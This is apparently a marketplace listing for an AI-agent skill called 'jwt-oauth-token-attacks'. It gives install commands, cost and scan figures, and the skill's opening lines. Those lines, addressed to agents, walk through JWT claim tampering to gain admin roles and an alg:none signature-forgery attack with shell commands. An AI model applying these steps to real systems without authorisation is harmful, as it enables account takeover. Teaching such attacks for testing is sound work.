Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/DorianGallo/hack-skills-localnpx agentmods add skills/doriangallo/hack-skills-local/jwt-oauth-token-attacksWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/doriangallo/hack-skills-local/jwt-oauth-token-attacks)<a href="https://agentmods.dev/skills/doriangallo/hack-skills-local/jwt-oauth-token-attacks"><img src="https://agentmods.dev/badge/skills/doriangallo/hack-skills-local/jwt-oauth-token-attacks/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/doriangallo/hack-skills-local/jwt-oauth-token-attacks"><img src="https://agentmods.dev/badge/skills/doriangallo/hack-skills-local/jwt-oauth-token-attacks.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00039 | $0.02518 |
| Opus 5 | $0.00019 | $0.01259 |
| Sonnet 5 | $0.00008 | $0.00504 |
| Haiku 4.5 | $0.00004 | $0.00252 |
Grade A, and why
jwt-oauth-token-attacks scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 10d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
This is a copy
100% identical to jwt-oauth-token-attacks — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 302 lines — stays where its author put it; the contents beside it link to each section on GitHub.
SKILL: JWT and OAuth 2.0 Token Attacks — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert authentication token attacks. Covers JWT cryptographic attacks (alg:none, RS256→HS256, secret crack, kid/jku injection), OAuth flow attacks (CSRF, open redirect, token theft, implicit flow abuse), PKCE bypass, and token leakage via Referer/logs. This is critical for modern web applications.
0. RELATED ROUTING
Use this file for token-centric attacks and flow abuse. Also load:
- oauth oidc misconfiguration for redirect URI, state, nonce, PKCE, and account-binding validation
- cors cross origin misconfiguration when browser-readable APIs or token leakage may exist cross-origin
- saml sso assertion attacks when the target uses enterprise SSO outside OAuth/OIDC
1. JWT ANATOMY
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEyMzQsInJvbGUiOiJ1c2VyIn0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
└─────────────────────┘ └────────────────────────────┘ └──────────────────────────────────────────┘
HEADER PAYLOAD SIGNATURE
Decode in terminal:
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d
# → {"alg":"HS256","typ":"JWT"}
echo "eyJ1c2VySWQiOjEyMzQsInJvbGUiOiJ1c2VyIn0" | base64 -d
# → {"userId":1234,"role":"user"}
Common claim targets (modify to escalate):
{
"role": "admin",
"isAdmin": true,
"userId": OTHER_USER_ID,
"email": "[email protected]",
"sub": "admin",
"permissions": ["admin", "write", "delete"],
"tier": "premium"
}
2. ATTACK 1 — ALGORITHM NONE (alg:none)
Server doesn't validate signature when algorithm is "none"/"None"/"NONE":
# Burp JWT Editor / python-jwt attack:
# Step 1: Decode header
echo '{"alg":"HS256","typ":"JWT"}' | base64 → old_header
# Step 2: Create new header
echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '/+' '_-'
# Step 3: Modify payload (e.g., role → admin):
echo -n '{"userId":1234,"role":"admin"}' | base64 | tr -d '=' | tr '/+' '_-'
# Step 4: Construct token with empty signature:
HEADER.PAYLOAD.
# OR:
HEADER.PAYLOAD
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 10d ago First seen · 302 lines · 39 tokens per session scan A 2a420f0f789b
jwt-oauth-token-attacks is a skill published in the GitHub repository DorianGallo/hack-skills-local (5 stars, last pushed 3mo ago), licensed MIT. It adds 39 tokens to every session and 2,518 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 0 findings. It is 100% identical to jwt-oauth-token-attacks, differing in 0 lines, and is treated as a copy.
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